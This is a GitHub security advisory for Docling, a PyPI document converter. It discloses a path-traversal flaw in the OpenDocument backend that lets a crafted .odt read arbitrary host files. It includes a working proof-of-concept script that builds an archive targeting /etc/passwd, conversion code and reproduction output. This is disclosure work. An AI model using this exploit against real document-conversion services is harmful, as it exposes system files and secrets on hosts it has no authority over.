GitHub Advisoryadvisory · PyPI
GHSA-4xhp-xg4w-8ppm Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend
MEDIUM
Official page ↗
- Aliases
- CVE-2026-105751
- Ecosystem
- PyPI
- Packages
- docling
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
- Weaknesses
- CWE-22
- Reviewed
- 2026-10-05
Affected packages
• PyPI docling: >= 2.107.0, < 2.120.3 → fixed in 2.120.3
Description
Summary
The ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever
the referenced part is not found inside the document archive. The value comes straight from
`content.xml`, so it is document content, and it is used with no scheme check, no confinement to
the extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch`
controls that the other backends use for exactly this decision.
Converting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on
the converting host. Where the target decodes as an image, its complete contents are embedded in
the resulting `DoclingDocument` and appear in the HTML, Markdown and JSON exports.
Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive
containing two entries.
Affected component
`docling/backend/opendocument_backend.py`, in `_image_ref_from_odf_image`:
```python
image_url = _odf_image_href(image)
...
if image_data is None and odf_obj is not None and image_url:
try:
image_data = odf_obj.get_part(image_url)
except Exception:
image_data = None
if image_data is None and image_url:
image_path = Path(image_url)
if image_path.is_file():
image_data = image_path.read_bytes()
```
`_odf_image_href` returns the `xlink:href` attribute. The in-archive lookup is attempted first;
when it fails, the same string is handed to `Path` and read from disk.
The only filter on the way in is `_odf_image_can_be_bitmap`, which admits any path whose suffix is
one of `.bmp`, `.gif`, `.jpeg`, `.jpg`, `.png`, `.tif`, `.tiff`, `.webp`, or empty. The
empty-suffix case is what admits most paths of interest on a Unix host, `/etc/passwd` among them.
The backend does not use the project's own fetch controls
```
$ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \
docling/backend/opendocument_backend.py
$
```
Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through
`docling/backend/utils/image_resource_loader.py`, where `enable_local_fetch` and
`enable_remote_fetch` both default to `False`. The ODF backend reimplements image loading and does
not consult either, so the default of not fetching local resources is not applied on this path.
That is the substance of the report: the control exists, it is off by default, and this backend
does not reach it.
Affected versions
Introduced by commit `e2afe381`, "feat: Add OpenDocument backend support and improve ODF
image/table handling" (#3480), 2026-06-24. First released in v2.107.0.
Affected: `docling` >= 2.107.0, up to and including 2.117.0 and current `main`
(`52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1`).
Subsequent commits touching this file — `2c3e55b3` (skip a `draw:object` with a missing embedded
part), `b627ca91` (preserve content inside sections), `2ec33bc7` (guard backend imports) — address
unrelated defects and leave the path resolution unchanged.
Reproduced on two independent machines:
| | |
|---|---|
| Python 3.12.3 | `docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1 |
| Python 3.14.4 | same releases, and again against `main` clones on `sys.path` |
Proof of concept
Trigger
An `.odt` needs only `mimetype` and `content.xml`. No manifest, no styles, no embedded image part.
```python
import zipfile
CONTENT = (
''
''
''
''
)
def build(path, href):
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0))
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, "application/vnd.oasis.opendocument.text")
zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0))
zi.compress_type = zipfile.ZIP_DEFLATED
z.writestr(zi, CONTENT.format(href=href))
build("odt_etc_passwd.odt", "/etc/passwd")
build("odt_control.odt", "Pictures/image1.png")
```
With the fixed archive timestamp above the artifacts are byte-reproducible:
| File | Bytes | sha256 |
|---|---|---|
| `odt_etc_passwd.odt` | 452 | `edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634` |
| `odt_control.odt` | 458 | `da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6` |
Without the fixed timestamp the archive size varies by a few bytes with the length of the `href`
string, which is the only part that changes.
Conversion — public API, default install, no options set
```python
from pathlib import Path
from docling.document_converter import DocumentConverter
from docling_core.types.doc import ImageRefMode
doc = DocumentConverter().convert(Path("trigger.odt")).document
print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))
```
The read itself is observed with `sys.addaudithook`, which records every `open` without modifying
Docling or any dependency.
A self-contained script, `odf_repro.py`, is attached. It creates its own canary image in a fresh
temporary directory, builds the trigger and the control, converts both, and reports the read, the
disclosure in each export format, and ten consecutive repetitions.
Output — disclosure
```
python 3.14.4
docling /home/asus/CVE/docling/docling/__init__.py
canary /tmp/odf_canary_eoz7_2d8/canary.png (104 B, sha256 b9c57d2dc728be7f)
trigger odf_trigger.odt (471 B, sha256 341d060294c90447)
file opened outside document : True ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]
contents present in html : True
contents present in markdown : True
contents present in json : True
control (in-archive href) : disclosed=False
determinism : 10/10
----------------------------------------------------------------------
RESULT: REPRODUCED
----------------------------------------------------------------------
```
The canary is written outside the working tree and is never placed inside the archive. The sha256
of the base64-decoded image in the export matches the source file exactly.
The control is the ordinary ODF convention, `xlink:href="Pictures/image1.png"`. It resolves inside
the archive and discloses nothing, through the same function. That is what separates this from
intended behaviour.
Output — read of a non-image path
The read happens before any decoding is attempted, so it is not confined to image files.
```
/etc/passwd status=success opened=['/etc/passwd']
/etc/does_not_exist_9c1f status=success opened=[]
```
Both conversions report success. Only the existing path is opened. Nothing in the conversion
result distinguishes the two cases, so the difference is usable as a silent file-existence oracle
against arbitrary paths.
Impact
Confirmed by execution, default install, no options set:
1. Arbitrary local file read. A converted document names an absolute path and Docling opens
it. Observed for `/etc/passwd` and for paths with no extension.
2. Silent file existence and readability oracle. Present and absent paths are distinguishable
by side effect while conversion reports success either way.
3. Full content disclosure. Where the target decodes as an image, its bytes are embedded in
the `DoclingDocument` and appear base64-encoded in the HTML, Markdown and JSON exports, byte
for byte.
The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly
than overstate the finding. On a document-conversion host that c…
Related
Alias · CVE (1)
- CVE-2026-105751 Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness
References
- https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm web
- https://github.com/docling-project/docling/pull/4015 web
- https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311 web
- https://github.com/docling-project/docling package
- https://github.com/docling-project/docling/releases/tag/v2.120.3 web